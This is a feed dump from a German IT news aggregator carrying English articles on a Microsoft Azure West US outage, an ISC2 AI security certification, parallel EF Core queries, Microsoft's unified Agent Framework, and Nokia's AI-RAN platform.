<link>https://tsecurity.de/de/3691376/it-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691376/it-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Fri, 24 Jul 2026 13:20:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"><em>This article first appeared on Network World.</em></p>
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<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3691358/it-security-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691358/it-security-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[ISC2 seeks input from IT pros for AI security certification]]></title>
<description><![CDATA[ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.



The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the kn...]]></description>
<link>https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.isc2.org/" target="_blank" rel="noreferrer noopener">ISC2</a> has begun developing a <a href="https://www.isc2.org/new-ai-certification#AI%20Security%20Certification%20Frequently%20Asked%20Questions" target="_blank" rel="noreferrer noopener">vendor-neutral AI security certification</a> aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.</p>



<p class="wp-block-paragraph">The nonprofit organization, best known for the <a href="https://www.isc2.org/certifications/cissp" target="_blank" rel="noreferrer noopener">CISSP certification</a>, says it is seeking volunteers worldwide to help define the knowledge and <a href="https://www.networkworld.com/article/3566827/global-cybersecurity-talent-gap-widens.html" target="_blank">skills</a> that will shape the new credential. While ISC2 has not finalized the certification domains, the <a href="https://www.prnewswire.com/news-releases/isc2-begins-developing-its-ai-security-certification-and-opens-call-for-volunteers-worldwide-302825622.html?tc=eml_cleartime" target="_blank" rel="noreferrer noopener">certification</a> is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.</p>



<p class="wp-block-paragraph">According to <a href="https://www.linkedin.com/in/caseymarks/">Casey Marks</a>, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.</p>



<p class="wp-block-paragraph">“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”</p>



<p class="wp-block-paragraph">ISC2 already includes <a href="https://www.networkworld.com/article/4196919/isc2-ai-raises-accountability-demands-for-cybersecurity-teams.html" target="_blank">AI-related content in certifications</a> including CISSP and <a href="https://www.isc2.org/certifications/CCSP" target="_blank" rel="noreferrer noopener">CCSP</a>, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.</p>



<p class="wp-block-paragraph">Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.</p>



<p class="wp-block-paragraph">ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for <a href="https://www.networkworld.com/article/4174188/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks.html" target="_blank">securing AI systems and managing AI risk</a>. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.</p>



<p class="wp-block-paragraph">Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.</p>



<p class="wp-block-paragraph">The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.</p>



<p class="wp-block-paragraph">For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.</p>



<p class="wp-block-paragraph">Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.</p>



<p class="wp-block-paragraph">Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.</p>



<p class="wp-block-paragraph">“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.</p>
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<title><![CDATA[How to execute queries in parallel using EF Core]]></title>
<description><![CDATA[EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thr...]]></description>
<link>https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691080/ai-nachrichten/how-to-execute-queries-in-parallel-using-ef-core/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The <code>DbContext</code> class is the core component of the EF Core framework for managing database operations. However, the <code>DbContext</code> class in EF Core is not thread-safe. Hence, if you share <code>DbContext</code> instances between multiple threads, you will often encounter data corruption issues and the <code>InvalidOperationException</code>.</p>



<p class="wp-block-paragraph">In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can <a href="https://visualstudio.microsoft.com/insiders/">download Visual Studio 2026 here</a>.</p>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the problem</h2>



<p class="wp-block-paragraph">When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example. </p>



<p class="wp-block-paragraph">Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code. </p>



<pre class="wp-block-code"><code>public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task&lt;List&gt;    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task&lt;List&gt; logsTask    = productService.GetRecentLogsAsync();
    Task&lt;List&gt;    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}
</code></pre>



<p class="wp-block-paragraph">In the preceding code snippet, there are four read operations that are executed by four different <code>Task</code> instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by using<code>Task.WhenAll</code>, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new <code>Dashboard</code> instance.</p>



<p class="wp-block-paragraph">If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.</p>



<p class="wp-block-paragraph">However, there is a danger with the above approach. If you run multiple operations on the same <code>DbContext</code> instance, you will see an <code>InvalidOperationException</code> with the following message:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same <code>DbContext</code> instance; instance members are not guaranteed to be thread-safe.</p>
</blockquote>



<p class="wp-block-paragraph">Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you <code>await</code> several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an <code>InvalidOperationException</code>. To run queries in parallel, you must give each task its own connection or context.</p>



<h2 class="wp-block-heading">Why DbContext isn’t thread-safe – and how to work around it</h2>



<p class="wp-block-paragraph">The <code>DbContext</code> class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same <code>DbContext</code> instance. This design approach creates inherent challenges when you use the same <code>DbContext</code> instance across multiple threads. If <code>DbContext</code> were thread-safe, extensive locking would be required, which would degrade data access performance.</p>



<p class="wp-block-paragraph">This stateful design of <code>DbContext</code> makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.</p>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/ef/core/change-tracking/" data-type="link" data-id="https://learn.microsoft.com/en-us/ef/core/change-tracking/">change tracker</a> is one of the most important components of <code>DbContext</code> in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the <code>SaveChanges()</code> method on the <code>DbContext</code> instance.</p>



<p class="wp-block-paragraph">To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we <em>could</em> accomplish this by wrapping a shared <code>DbContext</code> instance inside a thread-safe block using the <code>lock</code> keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below. </p>



<pre class="wp-block-code"><code>using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products =&gt; Set();
}
</code></pre>



<p class="wp-block-paragraph">However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use <code>IDbContextFactory</code> , which creates fresh <code>DbContext</code> instances on demand. Calling its <code>CreateDbContext()</code> method is cheap and produces a fresh, isolated context every time. </p>



<p class="wp-block-paragraph">The following code snippet shows how you can register an instance of type <code>IDbContextFactory</code> as a singleton. You can safely call this code from any thread.</p>



<pre class="wp-block-code"><code>builder.Services.AddDbContextFactory(options =&gt;
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));
</code></pre>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the solution</h2>



<p class="wp-block-paragraph">Now let’s see how we can put <code>IDbContextFactory</code> to work. The following code illustrates a class named <code>ProductService</code> that uses a factory to create <code>DbContext</code> instances for each scope of work.</p>



<pre class="wp-block-code"><code>public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        =&gt; _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}
</code></pre>



<p class="wp-block-paragraph">Note that <code>ProductService</code> has two methods, <code>GetByIdAsync</code> and <code>UpdateStockQuantityAsync</code>. An instance of the <code>DbContext</code> class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the <code>GetByIdAsync</code> method while thread T2 executes the <code>UpdateStockQuantityAsync</code> method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.</p>



<p class="wp-block-paragraph">Consider the following code that executes a read operation and an update operation in two separate tasks. </p>



<pre class="wp-block-code"><code>public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }
</code></pre>



<p class="wp-block-paragraph">The <code>Task.WhenAll</code> method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own <code>DbContext</code> instance internally. Therefore the read operation and the update operation use independent <code>DbContext</code> instances.</p>



<h2 class="wp-block-heading">Use DbContext pooling to reduce allocation cost</h2>



<p class="wp-block-paragraph">Although creating <code>DbContext</code> instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context. </p>



<pre class="wp-block-code"><code>builder.Services.AddPooledDbContextFactory(options =&gt;
    options.UseSqlServer(connectionString));
</code></pre>



<p class="wp-block-paragraph">A call to <code>AddDbContext()</code> will register a <code>DbContext</code> instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the <code>DbContext</code> will not always suffice.</p>



<p class="wp-block-paragraph">You will need a factory to create instances of <code>DbContext</code> when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.</p>



<h2 class="wp-block-heading">Key takeaways</h2>



<ul class="wp-block-list">
<li>If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.</li>



<li>You cannot execute multiple queries in parallel in EF Core using the same <code>DbContext</code> instance.</li>



<li>The <code>IDbContextFactory</code> enables you to create a <code>DbContext</code> instance for each thread, thereby enabling you to work with these instances in isolation.</li>



<li>Although using a <code>DbContext</code> pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.</li>
</ul>
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<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



